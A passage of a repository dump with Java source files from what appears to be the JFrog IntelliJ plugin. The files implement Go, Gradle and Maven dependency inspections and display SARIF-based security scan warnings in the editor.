    "content": "package com.jfrog.ide.idea.inspections;\n\nimport com.goide.vgo.mod.psi.VgoModuleSpec;\nimport com.goide.vgo.mod.psi.VgoRequireDirective;\nimport com.goide.vgo.mod.psi.VgoVisitor;\nimport com.intellij.codeInspection.ProblemsHolder;\nimport com.intellij.lang.annotation.AnnotationHolder;\nimport com.intellij.openapi.project.Project;\nimport com.intellij.psi.PsiElement;\nimport com.intellij.psi.PsiElementVisitor;\nimport com.jfrog.ide.idea.inspections.upgradeversion.GoUpgradeVersion;\nimport com.jfrog.ide.idea.inspections.upgradeversion.UpgradeVersion;\nimport com.jfrog.ide.idea.scan.ScanManager;\nimport com.jfrog.ide.idea.scan.ScannerBase;\nimport com.jfrog.ide.idea.utils.Descriptor;\nimport org.apache.commons.lang3.StringUtils;\nimport org.jetbrains.annotations.NotNull;\n\nimport java.util.Collection;\n\n/**\n * Created by Bar Belity on 17/02/2020.\n */\n\npublic class GoInspection extends AbstractInspection {\n\n    public GoInspection() {\n        super(Descriptor.GO);\n    }\n\n    @NotNull\n    @Override\n    public PsiElementVisitor buildVisitor(@NotNull final ProblemsHolder holder, boolean isOnTheFly) {\n        return new VgoVisitor() {\n            @Override\n            public void visitModuleSpec(@NotNull VgoModuleSpec element) {\n                super.visitPsiElement(element);\n                GoInspection.this.visitElement(holder, element, isOnTheFly);\n            }\n        };\n    }\n\n    @Override\n    public void annotate(@NotNull PsiElement element, @NotNull AnnotationHolder holder) {\n        if (element instanceof VgoModuleSpec) {\n            GoInspection.this.visitElement(holder, element);\n        }\n    }\n\n    @Override\n    boolean isDependency(PsiElement element) {\n        PsiElement parentElement = element.getParent();\n        return parentElement instanceof VgoRequireDirective;\n    }\n\n    @Override\n    ScannerBase getScanner(Project project, String path) {\n        return ScanManager.getScanners(project).stream()\n                .filter(manager -> StringUtils.equals(manager.getProjectPath(), path))\n                .findAny()\n                .orElse(null);\n    }\n\n    @Override\n    String createComponentName(PsiElement element) {\n        VgoModuleSpec goElement = ((VgoModuleSpec) element);\n        if (goElement.getModuleVersion() != null) {\n            String version = goElement.getModuleVersion().getText();\n            // String leading \"v\" from version\n            version = StringUtils.strip(version, \"v\");\n            return String.join(\":\", goElement.getIdentifier().getText(), version);\n        }\n        return \"\";\n    }\n\n    @Override\n    UpgradeVersion getUpgradeVersion(String componentName, String fixVersion, Collection<String> issue, String descriptorPath) {\n        return new GoUpgradeVersion(componentName, fixVersion, issue, descriptorPath);\n    }\n}\n"
  },
  {
    "path": "src/main/java/com/jfrog/ide/idea/inspections/GradleGroovyInspection.java",
    "content": "package com.jfrog.ide.idea.inspections;\n\nimport com.intellij.codeInspection.ProblemsHolder;\nimport com.intellij.lang.annotation.AnnotationHolder;\nimport com.intellij.psi.PsiElement;\nimport com.intellij.psi.PsiElementVisitor;\nimport com.jfrog.ide.idea.inspections.upgradeversion.GradleGroovyUpgradeVersion;\nimport com.jfrog.ide.idea.inspections.upgradeversion.UpgradeVersion;\nimport com.jfrog.ide.idea.utils.Descriptor;\nimport org.apache.commons.lang3.StringUtils;\nimport org.jetbrains.annotations.NotNull;\nimport org.jetbrains.plugins.groovy.lang.psi.GroovyElementVisitor;\nimport org.jetbrains.plugins.groovy.lang.psi.GroovyPsiElement;\nimport org.jetbrains.plugins.groovy.lang.psi.GroovyPsiElementVisitor;\nimport org.jetbrains.plugins.groovy.lang.psi.api.statements.arguments.GrArgumentList;\nimport org.jetbrains.plugins.groovy.lang.psi.api.statements.arguments.GrNamedArgument;\nimport org.jetbrains.plugins.groovy.lang.psi.api.statements.expressions.GrExpression;\nimport org.jetbrains.plugins.groovy.lang.psi.api.statements.expressions.literals.GrLiteral;\nimport org.jetbrains.plugins.groovy.lang.psi.api.util.GrNamedArgumentsOwner;\n\nimport java.util.ArrayList;\nimport java.util.Collection;\nimport java.util.List;\nimport java.util.Objects;\n\n/**\n * @author yahavi\n */\npublic class GradleGroovyInspection extends GradleInspection {\n\n    public static final String GRADLE_GROUP_KEY = \"group\";\n    public static final String GRADLE_NAME_KEY = \"name\";\n    public static final String GRADLE_VERSION_KEY = \"version\";\n\n    public GradleGroovyInspection() {\n        super(Descriptor.GRADLE_GROOVY);\n    }\n\n    /**\n     * Get the string value of the groovy literal.\n     *\n     * @param literal - The groovy literal\n     * @return the value of the literal\n     */\n    public static String getLiteralValue(GrLiteral literal) {\n        String artifact = Objects.toString((literal).getValue(), \"\");\n        int versionIndex = artifact.lastIndexOf(':');\n        if (versionIndex == -1) {\n            return artifact;\n        }\n        return artifact.substring(0, versionIndex);\n    }\n\n    public static boolean isNamedArgumentComponent(PsiElement element) {\n        return (element instanceof GrNamedArgumentsOwner && ((GrNamedArgumentsOwner) element).getNamedArguments().length >= 3);\n    }\n\n    @NotNull\n    @Override\n    public PsiElementVisitor buildVisitor(@NotNull final ProblemsHolder holder, boolean isOnTheFly) {\n        return new GroovyPsiElementVisitor(new GroovyElementVisitor() {\n            @Override\n            public void visitArgumentList(@NotNull GrArgumentList list) {\n                super.visitArgumentList(list);\n                List<GroovyPsiElement> elementsToVisit = parseComponentElements(list);\n                for (GroovyPsiElement elementToVisit : elementsToVisit) {\n                    GradleGroovyInspection.this.visitElement(holder, elementToVisit, isOnTheFly);\n                }\n            }\n        });\n    }\n\n    @Override\n    boolean isDependency(PsiElement element) {\n        PsiElement parent = element.getParent();\n        for (int i = 0; i < 6; i++, parent = parent.getParent()) {\n            if (StringUtils.startsWith(parent.getText(), \"dependencies\")) {\n                return true;\n            }\n        }\n        return false;\n    }\n\n    @Override\n    public void annotate(@NotNull PsiElement element, @NotNull AnnotationHolder holder) {\n        if (element instanceof GrArgumentList) {\n            List<GroovyPsiElement> elementsToVisit = parseComponentElements((GrArgumentList) element);\n            for (GroovyPsiElement elementToVisit : elementsToVisit) {\n                GradleGroovyInspection.this.visitElement(holder, elementToVisit);\n            }\n        }\n    }\n\n    List<GroovyPsiElement> parseComponentElements(GrArgumentList element) {\n        List<GroovyPsiElement> elementsToVisit = new ArrayList<>();\n        if (isNamedArgumentComponent(element)) {\n            // Example: implementation group: 'j', name: 'k', version: 'l'\n            elementsToVisit.add(element);\n        } else {\n            // Example:\n            // implementation([group: 'net.lingala.zip4j', name: 'zip4j', version: '2.3.0'],\n            //                [group: 'org.codehaus.groovy', name: 'groovy-all', version: '3.0.5'])\n            // OR\n            // implementation(\"org.codehaus.groovy:groovy-all:3.0.5\")\n            // OR\n            // implementation 'net.lingala.zip4j:zip4j:2.3.0',\n            //                'org.codehaus.groovy:groovy-all:3.0.5'\n            for (GroovyPsiElement subElement : element.getAllArguments()) {\n                if (isNamedArgumentComponent(subElement) || (subElement instanceof GrLiteral)) {\n                    elementsToVisit.add(subElement);\n                } else if (subElement.getChildren().length > 0 && subElement.getChildren()[0] instanceof GrLiteral) {\n                    elementsToVisit.add((GrLiteral) subElement.getChildren()[0]);\n                }\n            }\n        }\n        return elementsToVisit;\n    }\n\n    @Override\n    String createComponentName(PsiElement element) {\n        if (isNamedArgumentComponent(element)) {\n            // implementation group: 'j', name: 'k', version: 'l'\n            return String.join(\":\",\n                    extractExpression(element, GRADLE_GROUP_KEY),\n                    extractExpression(element, GRADLE_NAME_KEY));\n        }\n        if (element instanceof GrLiteral) {\n            //  implementation 'g:h:i'\n            return getLiteralValue((GrLiteral) element);\n        }\n        return \"\";\n    }\n\n    /**\n     * Extract expression from groovy arguments.\n     *\n     * @param argumentList - The arguments list\n     * @param name         - The name of the argument to extract\n     * @return the value of the argument\n     */\n    private String extractExpression(PsiElement argumentList, String name) {\n        GrNamedArgument argument = ((GrNamedArgumentsOwner) argumentList).findNamedArgument(name);\n        if (argument == null) {\n            return \"\";\n        }\n        GrExpression grExpression = argument.getExpression();\n        if (grExpression == null) {\n            return \"\";\n        }\n        if (!(grExpression instanceof GrLiteral)) {\n            return \"\";\n        }\n        return getLiteralValue((GrLiteral) grExpression);\n    }\n\n    @Override\n    UpgradeVersion getUpgradeVersion(String componentName, String fixVersion, Collection<String> issue, String descriptorPath) {\n        return new GradleGroovyUpgradeVersion(componentName, fixVersion, issue);\n    }\n}\n"
  },
  {
    "path": "src/main/java/com/jfrog/ide/idea/inspections/GradleInspection.java",
    "content": "package com.jfrog.ide.idea.inspections;\n\nimport com.intellij.openapi.editor.Document;\nimport com.intellij.openapi.project.Project;\nimport com.intellij.psi.PsiElement;\nimport com.jfrog.ide.idea.scan.GradleScanner;\nimport com.jfrog.ide.idea.scan.ScanManager;\nimport com.jfrog.ide.idea.scan.ScannerBase;\nimport com.jfrog.ide.idea.utils.Descriptor;\nimport org.apache.commons.lang3.StringUtils;\n\n/**\n * @author yahavi\n */\npublic abstract class GradleInspection extends AbstractInspection {\n    private int lastAnnotatedLine;\n\n    public GradleInspection(Descriptor descriptor) {\n        super(descriptor);\n    }\n\n    @Override\n    ScannerBase getScanner(Project project, String path) {\n        return ScanManager.getScanners(project).stream()\n                .filter(GradleScanner.class::isInstance)\n                .findAny()\n                .orElse(null);\n    }\n\n\n    @Override\n    boolean showAnnotationIcon(PsiElement element) {\n        Document document = element.getContainingFile().getViewProvider().getDocument();\n        boolean showAnnotationIcon = true;\n        if (document != null) {\n            int currentLine = document.getLineNumber(element.getTextOffset());\n            showAnnotationIcon = currentLine != lastAnnotatedLine;\n            lastAnnotatedLine = currentLine;\n        }\n        return showAnnotationIcon;\n    }\n\n    public static String stripVersion(String componentId) {\n        if (StringUtils.countMatches(componentId, \":\") >= 2) {\n            // implementation('a:b:c')\n            String[] splitComponent = componentId.split(\":\");\n            componentId = splitComponent[0] + \":\" + splitComponent[1];\n        }\n        return componentId;\n    }\n}\n"
  },
  {
    "path": "src/main/java/com/jfrog/ide/idea/inspections/GradleKotlinInspection.java",
    "content": "package com.jfrog.ide.idea.inspections;\n\nimport com.intellij.codeInspection.ProblemsHolder;\nimport com.intellij.lang.annotation.AnnotationHolder;\nimport com.intellij.psi.PsiElement;\nimport com.intellij.psi.PsiElementVisitor;\nimport com.jfrog.ide.idea.inspections.upgradeversion.GradleKotlinUpgradeVersion;\nimport com.jfrog.ide.idea.inspections.upgradeversion.UpgradeVersion;\nimport com.jfrog.ide.idea.utils.Descriptor;\nimport org.apache.commons.lang3.StringUtils;\nimport org.jetbrains.annotations.NotNull;\nimport org.jetbrains.kotlin.psi.*;\n\nimport java.util.Collection;\nimport java.util.List;\n\n/**\n * Each dependency in Gradle-Kotlin is a function call with at least one argument.\n * Examples:\n * compile(\"a:b:c\")\n * testCompile(\"d\", \"e\", \"f\")\n * implementation(project(\":project\")) // Subproject dependencies start with \":\"\n *\n * @author yahavi\n */\npublic class GradleKotlinInspection extends GradleInspection {\n\n    public GradleKotlinInspection() {\n        super(Descriptor.GRADLE_KOTLIN);\n    }\n\n    @NotNull\n    @Override\n    public PsiElementVisitor buildVisitor(@NotNull final ProblemsHolder holder, boolean isOnTheFly) {\n        return new KtVisitorVoid() {\n            @Override\n            public void visitValueArgumentList(@NotNull KtValueArgumentList list) {\n                // Verify that the visited file is a build.gradle.kts file\n                if (((KtFile) list.getContainingFile()).isScript()) {\n                    GradleKotlinInspection.this.visitElement(holder, list, isOnTheFly);\n                }\n            }\n        };\n    }\n\n    @Override\n    public void annotate(@NotNull PsiElement element, @NotNull AnnotationHolder holder) {\n        if (element instanceof KtValueArgumentList && ((KtFile) element.getContainingFile()).isScript()) {\n            GradleKotlinInspection.this.visitElement(holder, element);\n        }\n    }\n\n    @Override\n    boolean isDependency(PsiElement element) {\n        List<KtValueArgument> argumentList = ((KtValueArgumentList) element).getArguments();\n        if (argumentList.isEmpty() || !(argumentList.get(0).getArgumentExpression() instanceof KtStringTemplateExpression)) {\n            return false;\n        }\n        // Make sure the element is under \"dependencies\" scope\n        for (PsiElement parent = element.getParent(); parent != null; parent = parent.getParent()) {\n            if (!(parent instanceof KtCallExpression)) {\n                continue;\n            }\n            KtExpression expression = ((KtCallExpression) parent).getCalleeExpression();\n            if (expression != null && \"dependencies\".equals(expression.getText())) {\n                return true;\n            }\n        }\n        return false;\n    }\n\n    @Override\n    String createComponentName(PsiElement element) {\n        if (!(element instanceof KtValueArgumentList)) {\n            return \"\";\n        }\n        List<KtValueArgument> argumentList = ((KtValueArgumentList) element).getArguments();\n        if (argumentList.size() == 1) {\n            // \"commons-collections:commons-collections:3.2.2\"\n            String artifactId = extractArgument(argumentList.get(0));\n            return StringUtils.substringBeforeLast(artifactId, \":\");\n        }\n        if (argumentList.size() >= 3) {\n            // \"commons-collections\", \"commons-collections\"\n            return String.join(\":\",\n                    extractArgument(argumentList.get(0)),\n                    extractArgument(argumentList.get(1))\n                    );\n        }\n        return \"\";\n    }\n\n    /**\n     * Extract argument text from Kotlin argument.\n     *\n     * @param ktValueArgument - The arguments list\n     * @return the value of the argument\n     */\n    private String extractArgument(KtValueArgument ktValueArgument) {\n        // Remove quotes\n        String value = ktValueArgument.getText().replaceAll(\"\\\"\", \"\");\n\n        // Remove '@' suffix, for example commons-lang:commons-lang:2.4@jar\n        return StringUtils.substringBefore(value, \"@\");\n    }\n\n    @Override\n    UpgradeVersion getUpgradeVersion(String componentName, String fixVersion, Collection<String> issue, String descriptorPath) {\n        return new GradleKotlinUpgradeVersion(componentName, fixVersion, issue);\n    }\n\n}\n"
  },
  {
    "path": "src/main/java/com/jfrog/ide/idea/inspections/JFrogSecurityAnnotator.java",
    "content": "package com.jfrog.ide.idea.inspections;\n\nimport com.intellij.lang.annotation.AnnotationHolder;\nimport com.intellij.lang.annotation.ExternalAnnotator;\nimport com.intellij.lang.annotation.HighlightSeverity;\nimport com.intellij.openapi.editor.Document;\nimport com.intellij.openapi.editor.Editor;\nimport com.intellij.openapi.util.TextRange;\nimport com.intellij.openapi.util.text.StringUtil;\nimport com.intellij.psi.PsiDocumentManager;\nimport com.intellij.psi.PsiFile;\nimport com.jfrog.ide.common.nodes.FileIssueNode;\nimport com.jfrog.ide.common.nodes.FileTreeNode;\nimport com.jfrog.ide.common.nodes.SortableChildrenTreeNode;\nimport com.jfrog.ide.idea.events.AnnotationEvents;\nimport com.jfrog.ide.idea.ui.ComponentsTree;\nimport com.jfrog.ide.idea.ui.LocalComponentsTree;\nimport org.jetbrains.annotations.NotNull;\nimport org.jetbrains.annotations.Nullable;\n\nimport javax.swing.tree.TreeNode;\nimport java.util.ArrayList;\nimport java.util.Enumeration;\nimport java.util.List;\nimport java.util.Objects;\n\n/**\n * General Annotator for JFrog security source code issues (for Example: applicable CVE)\n * The annotator receives the JFrogSecurityWarning data from the most recent scan.\n *\n * @author Tal Arian\n */\npublic class JFrogSecurityAnnotator extends ExternalAnnotator<PsiFile, List<FileIssueNode>> {\n\n    @NotNull\n    private static final HighlightSeverity HIGHLIGHT_TYPE = HighlightSeverity.WARNING;\n\n    @Nullable\n    @Override\n    public PsiFile collectInformation(@NotNull PsiFile file, @NotNull Editor editor, boolean hasErrors) {\n        return file;\n    }\n\n    @Nullable\n    @Override\n    public List<FileIssueNode> doAnnotate(PsiFile file) {\n        List<FileIssueNode> issues = new ArrayList<>();\n        ComponentsTree componentsTree = LocalComponentsTree.getInstance(file.getProject());\n        if (componentsTree == null || componentsTree.getModel() == null) {\n            return null;\n        }\n        Enumeration<TreeNode> roots = ((SortableChildrenTreeNode) componentsTree.getModel().getRoot()).children();\n        roots.asIterator().forEachRemaining(root -> {\n            FileTreeNode fileNode = (FileTreeNode) root;\n            if (fileNode.getFilePath().equals(file.getContainingFile().getVirtualFile().getPath())) {\n                fileNode.children().asIterator().forEachRemaining(issueNode -> {\n                            if (issueNode instanceof FileIssueNode) {\n                                issues.add((FileIssueNode) issueNode);\n                            }\n                        }\n                );\n            }\n        });\n        return issues;\n    }\n\n    @Override\n    public void apply(@NotNull PsiFile file, List<FileIssueNode> warnings, @NotNull AnnotationHolder holder) {\n        Document document = PsiDocumentManager.getInstance(file.getProject()).getDocument(file);\n        if (document == null) {\n            return;\n        }\n        warnings.stream().filter(Objects::nonNull).forEach(warning -> {\n            int startOffset = StringUtil.lineColToOffset(file.getText(), warning.getRowStart(), warning.getColStart());\n            int endOffset = StringUtil.lineColToOffset(file.getText(), warning.getRowEnd(), warning.getColEnd());\n            AnnotationIconRenderer iconRenderer = new AnnotationIconRenderer(warning, warning.getSeverity(), \"\");\n            iconRenderer.setProject(file.getProject());\n\n            TextRange range = new TextRange(startOffset, endOffset);\n            String lineText = document.getText(range);\n            // If the file has been update after the scan and the relevant line is affected,\n            // no annotation will be added.\n            if (lineText.contains(warning.getLineSnippet())) {\n                holder.newAnnotation(HIGHLIGHT_TYPE, \"\\uD83D\\uDC38 JFrog [\" + warning.getTitle() + \"]: \" + warning.getReason())\n                        .range(range)\n                        .gutterIconRenderer(iconRenderer)\n                        .create();\n            }\n            // Notify outdated scan result\n            else {\n                file.getProject().getMessageBus().syncPublisher(AnnotationEvents.ON_IRRELEVANT_RESULT).update(warning.getFilePath());\n            }\n        });\n    }\n}\n"
  },
  {
    "path": "src/main/java/com/jfrog/ide/idea/inspections/JFrogSecurityWarning.java",
    "content": "package com.jfrog.ide.idea.inspections;\n\nimport com.jfrog.ide.common.nodes.subentities.FindingInfo;\nimport com.jfrog.ide.common.nodes.subentities.Severity;\nimport com.jfrog.ide.common.nodes.subentities.SourceCodeScanType;\nimport com.jfrog.ide.idea.scan.data.*;\nimport lombok.Getter;\n\nimport java.net.URI;\nimport java.nio.file.Paths;\nimport java.util.List;\n\n@Getter\npublic class JFrogSecurityWarning {\n    private final int lineStart;\n    private final int colStart;\n    private final int lineEnd;\n    private final int colEnd;\n    private final String reason;\n    private final String filePath;\n    private final String lineSnippet;\n    private String scannerSearchTarget;\n    private final String ruleID;\n    private final SourceCodeScanType reporter;\n    private final Severity severity;\n    private final FindingInfo[][] codeFlows;\n    private final boolean isApplicable;\n\n    public JFrogSecurityWarning(\n            int lineStart,\n            int colStart, int lineEnd,\n            int colEnd, String reason,\n            String filePath,\n            String ruleID,\n            String lineSnippet,\n            SourceCodeScanType reporter,\n            boolean isApplicable,\n            Severity severity,\n            FindingInfo[][] codeFlows\n    ) {\n        this.lineStart = lineStart;\n        this.colStart = colStart;\n        this.lineEnd = lineEnd;\n        this.colEnd = colEnd;\n        this.reason = reason;\n        this.filePath = filePath;\n        this.ruleID = ruleID;\n        this.lineSnippet = lineSnippet;\n        this.reporter = reporter;\n        this.isApplicable = isApplicable;\n        this.severity = severity;\n        this.codeFlows = codeFlows;\n    }\n\n    public JFrogSecurityWarning(SarifResult result, SourceCodeScanType reporter, Rule rule) {\n        this(getFirstRegion(result).getStartLine() - 1,\n                getFirstRegion(result).getStartColumn() - 1,\n                getFirstRegion(result).getEndLine() - 1,\n                getFirstRegion(result).getEndColumn() - 1,\n                determineReason(result.getMessage().getText(), rule.getShortDescription().getText(), reporter),\n                getFilePath(result),\n                result.getRuleId(),\n                getFirstRegion(result).getSnippet().getText(),\n                reporter,\n                isWarningApplicable(result, rule),\n                Severity.fromSarif(result.getSeverity()),\n                convertCodeFlowsToFindingInfo(result.getCodeFlows())\n        );\n    }\n\n    private static boolean isWarningApplicable(SarifResult result, Rule rule) {\n        return !result.getKind().equals(\"pass\") && (rule.getRuleProperties().map(properties -> properties.getApplicability().equals(\"applicable\")).orElse(true));\n    }\n\n    private static String getFilePath(SarifResult result) {\n        return !result.getLocations().isEmpty() ? uriToPath(result.getLocations().get(0).getPhysicalLocation().getArtifactLocation().getUri()) : \"\";\n    }\n\n    private static FindingInfo[][] convertCodeFlowsToFindingInfo(List<CodeFlow> codeFlows) {\n        if (codeFlows == null || codeFlows.isEmpty()) {\n            return null;\n        }\n        List<ThreadFlow> flows = codeFlows.get(0).getThreadFlows();\n        if (flows == null || flows.isEmpty()) {\n            return null;\n        }\n        FindingInfo[][] results = new FindingInfo[flows.size()][];\n        for (int i = 0; i < flows.size(); i++) {\n            ThreadFlow flow = flows.get(i);\n            List<ThreadFlowLocation> locations = flow.getLocations();\n            results[i] = new FindingInfo[locations.size()];\n            for (int j = 0; j < locations.size(); j++) {\n                PhysicalLocation location = locations.get(j).getLocation().getPhysicalLocation();\n                results[i][j] = new FindingInfo(\n                        uriToPath(location.getArtifactLocation().getUri()),\n                        location.getRegion().getStartLine(),\n                        location.getRegion().getStartColumn(),\n                        location.getRegion().getEndLine(),\n                        location.getRegion().getEndColumn(),\n                        location.getRegion().getSnippet().getText()\n                );\n            }\n        }\n        return results;\n    }\n\n    public static JFrogSecurityWarning notApplicable(String ruleId, SourceCodeScanType reporter) {\n        return new JFrogSecurityWarning(0, 0, 0, 0, \"\", \"\", ruleId, \"\", reporter, false, Severity.Unknown, null);\n    }\n\n    public boolean isApplicable() {\n        return this.isApplicable;\n    }\n\n    private static Region getFirstRegion(SarifResult result) {\n        Region emptyRegion = new Region();\n        emptyRegion.setSnippet(new Message());\n        return !result.getLocations().isEmpty() ? result.getLocations().get(0).getPhysicalLocation().getRegion() : emptyRegion;\n    }\n\n    public void setScannerSearchTarget(String scannerSearchTarget) {\n        this.scannerSearchTarget = scannerSearchTarget;\n    }\n\n    private static String uriToPath(String path) {\n        return Paths.get(URI.create(path)).toString();\n    }\n\n    private static String determineReason(String resultMessage, String ruleMessage, SourceCodeScanType scannerType) {\n        return scannerType.equals(SourceCodeScanType.SAST) ? ruleMessage : resultMessage;\n    }\n}\n\n"
  },
  {
    "path": "src/main/java/com/jfrog/ide/idea/inspections/JumpToCode.java",
    "content": "package com.jfrog.ide.idea.inspections;\n\nimport com.intellij.openapi.application.ApplicationManager;\nimport com.intellij.openapi.editor.Document;\nimport com.intellij.openapi.editor.Editor;\nimport com.intellij.openapi.editor.ScrollType;\nimport com.intellij.openapi.editor.SelectionModel;\nimport com.intellij.openapi.editor.markup.HighlighterTargetArea;\nimport com.intellij.openapi.fileEditor.FileEditorManager;\nimport com.intellij.openapi.project.Project;\nimport com.intellij.openapi.util.text.StringUtil;\nimport com.intellij.openapi.vfs.LocalFileSystem;\nimport com.intellij.openapi.vfs.VirtualFile;\nimport com.intellij.psi.PsiFile;\nimport com.intellij.psi.util.PsiUtilBase;\nimport org.jetbrains.annotations.NotNull;\n\n/**\n * The JumpToCode class is responsible for navigating to a specific location in a code file\n * and highlighting the corresponding code.\n */\npublic class JumpToCode {\n    Project project;\n    FileEditorManager fileEditorManager;\n\n    /**\n     * Constructs a new {@code JumpToCode} with the provided project.\n     *\n     * @param project The current project.\n     */\n    private JumpToCode(@NotNull Project project) {\n        this.project = project;\n        fileEditorManager = FileEditorManager.getInstance(project);\n    }\n\n    public static JumpToCode getInstance(@NotNull Project project) {\n        return project.getService(JumpToCode.class);\n    }\n\n    /**\n     * Executes the jump to code operation by opening the file in the editor and highlighting the specified code range.\n     *\n     * @param filePath    The path of the file to navigate to.\n     * @param startRow    The starting row of the code range.\n     * @param endRow      The ending row of the code range.\n     * @param startColumn The starting column of the code range.\n     * @param endColumn   The ending column of the code range.\n     */\n    public void execute(String filePath, int startRow, int endRow, int startColumn, int endColumn) {\n        if (this.project == null || this.fileEditorManager == null) return;\n        VirtualFile file = getVirtualFile(filePath);\n        if (file == null) return;\n        ApplicationManager.getApplication().invokeLater(() -> {\n            openFileInEditor(file);\n            highlightCode(startRow, endRow, startColumn, endColumn);\n        });\n    }\n\n    private void openFileInEditor(VirtualFile file) {\n        fileEditorManager.openFile(file, true);\n    }\n\n    private void highlightCode(int startRow, int endRow, int startColumn, int endColumn) {\n        Editor editor = fileEditorManager.getSelectedTextEditor();\n        if (editor == null) return;\n        Document document = getDocument(editor);\n        if (document == null) return;\n        int startOffset = getOffset(document, startRow, startColumn);\n        int endOffset = getOffset(document, endRow, endColumn);\n        highlightCode(editor, startOffset, endOffset);\n        scrollToHighlightedCode(editor, startOffset);\n    }\n\n    private VirtualFile getVirtualFile(String path) {\n        return LocalFileSystem.getInstance().findFileByPath(path);\n    }\n\n    private Document getDocument(Editor editor) {\n        PsiFile psiFile = PsiUtilBase.getPsiFileInEditor(editor, project);\n        if (psiFile == null) return null;\n        return psiFile.getViewProvider().getDocument();\n    }\n\n    private int getOffset(Document document, int row, int column) {\n        return StringUtil.lineColToOffset(document.getText(), row, column);\n    }\n\n    private void highlightCode(Editor editor, int startOffset, int endOffset) {\n        SelectionModel selectionModel = editor.getSelectionModel();\n        selectionModel.setSelection(startOffset, endOffset);\n        editor.getMarkupModel().addRangeHighlighter(startOffset, endOffset, 0, null, HighlighterTargetArea.EXACT_RANGE);\n    }\n\n    private void scrollToHighlightedCode(Editor editor, int startOffset) {\n        editor.getCaretModel().moveToOffset(startOffset);\n        editor.getScrollingModel().scrollToCaret(ScrollType.CENTER);\n    }\n}"
  },
  {
    "path": "src/main/java/com/jfrog/ide/idea/inspections/MavenInspection.java",
    "content": "package com.jfrog.ide.idea.inspections;\n\nimport com.intellij.codeInspection.ProblemsHolder;\nimport com.intellij.lang.annotation.AnnotationHolder;\nimport com.intellij.openapi.project.Project;\nimport com.intellij.psi.PsiElement;\nimport com.intellij.psi.PsiElementVisitor;\nimport com.intellij.psi.XmlElementVisitor;\nimport com.intellij.psi.impl.source.xml.XmlTagImpl;\nimport com.intellij.psi.xml.XmlTag;\nimport com.intellij.util.xml.DomElement;\nimport com.intellij.util.xml.DomManager;\nimport com.jfrog.ide.idea.inspections.upgradeversion.MavenUpgradeVersion;\nimport com.jfrog.ide.idea.inspections.upgradeversion.UpgradeVersion;\nimport com.jfrog.ide.idea.scan.MavenScanner;\nimport com.jfrog.ide.idea.scan.ScanManager;\nimport com.jfrog.ide.idea.scan.ScannerBase;\nimport com.jfrog.ide.idea.utils.Descriptor;\nimport org.apache.commons.lang3.StringUtils;\nimport org.jetbrains.annotations.NotNull;\nimport org.jetbrains.idea.maven.dom.model.MavenDomArtifactCoordinates;\nimport java.util.Collection;\n/**\n * @author yahavi\n */\npublic class MavenInspection extends AbstractInspection {\n\n    public static final String MAVEN_DEPENDENCY_MANAGEMENT = \"dependencyManagement\";\n    public static final String MAVEN_DEPENDENCIES_TAG = \"dependencies\";\n    public static final String MAVEN_PLUGINS_TAG = \"plugins\";\n    public static final String MAVEN_DEPENDENCY_TAG = \"dependency\";\n    public static final String MAVEN_PLUGIN_TAG = \"plugin\";\n    public static final String MAVEN_ARTIFACT_ID_TAG = \"artifactId\";\n    public static final String MAVEN_GROUP_ID_TAG = \"groupId\";\n\n    public MavenInspection() {\n        super(Descriptor.MAVEN);\n    }\n\n    @NotNull\n    @Override\n    public PsiElementVisitor buildVisitor(@NotNull final ProblemsHolder holder, boolean isOnTheFly) {\n        return new XmlElementVisitor() {\n            @Override\n            public void visitXmlTag(@NotNull XmlTag element) {\n                if (isDependencyOrPlugin(element)) {\n                    MavenInspection.this.visitElement(holder, element, isOnTheFly);\n                }\n            }\n        };\n    }\n\n    @Override\n    public void annotate(@NotNull PsiElement element, @NotNull AnnotationHolder holder) {\n        if (element instanceof XmlTag && isDependencyOrPlugin((XmlTag) element)) {\n            MavenInspection.this.visitElement(holder, element);\n        }\n    }\n\n    boolean isDependencyOrPlugin(XmlTag xmlTag) {\n        return StringUtils.equalsAny(xmlTag.getName(), MAVEN_DEPENDENCY_TAG, MAVEN_PLUGIN_TAG);\n    }\n\n    @Override\n    boolean isDependency(PsiElement element) {\n        PsiElement parentElement = element.getParent();\n        if ((parentElement instanceof XmlTag) &&\n                StringUtils.equalsAny(((XmlTag) parentElement).getName(), MAVEN_DEPENDENCIES_TAG, MAVEN_PLUGINS_TAG)) {\n            return true;\n        }\n        PsiElement grandParentElement = parentElement.getParent();\n        return (grandParentElement instanceof XmlTag &&\n                StringUtils.equals(((XmlTag) grandParentElement).getName(), MAVEN_DEPENDENCY_MANAGEMENT));\n    }\n\n    @Override\n    ScannerBase getScanner(Project project, String path) {\n        return ScanManager.getScanners(project).stream()\n                .filter(MavenScanner.class::isInstance)\n                .findAny()\n                .orElse(null);\n    }\n\n    @Override\n    String createComponentName(PsiElement element) {\n        XmlTag groupId = ((XmlTagImpl) element).findFirstSubTag(MAVEN_GROUP_ID_TAG);\n        XmlTag artifactId = ((XmlTagImpl) element).findFirstSubTag(MAVEN_ARTIFACT_ID_TAG);\n        if (groupId == null || artifactId == null) {\n            return null;\n        }\n        DomElement domElement = DomManager.getDomManager(element.getProject()).getDomElement((XmlTag) element);\n        if (domElement instanceof MavenDomArtifactCoordinates) {\n            return String.join(\":\", groupId.getValue().getText(), artifactId.getValue().getText());\n        }\n        return null;\n    }\n\n    @Override\n    UpgradeVersion getUpgradeVersion(String componentName, String fixVersion, Collection<String> issue, String descriptorPath) {\n        return new MavenUpgradeVersion(componentName, fixVersion, issue);\n    }\n\n}\n\n"
  },
  {
    "path": "src/main/java/com/jfrog/ide/idea/inspections/NpmInspection.java",
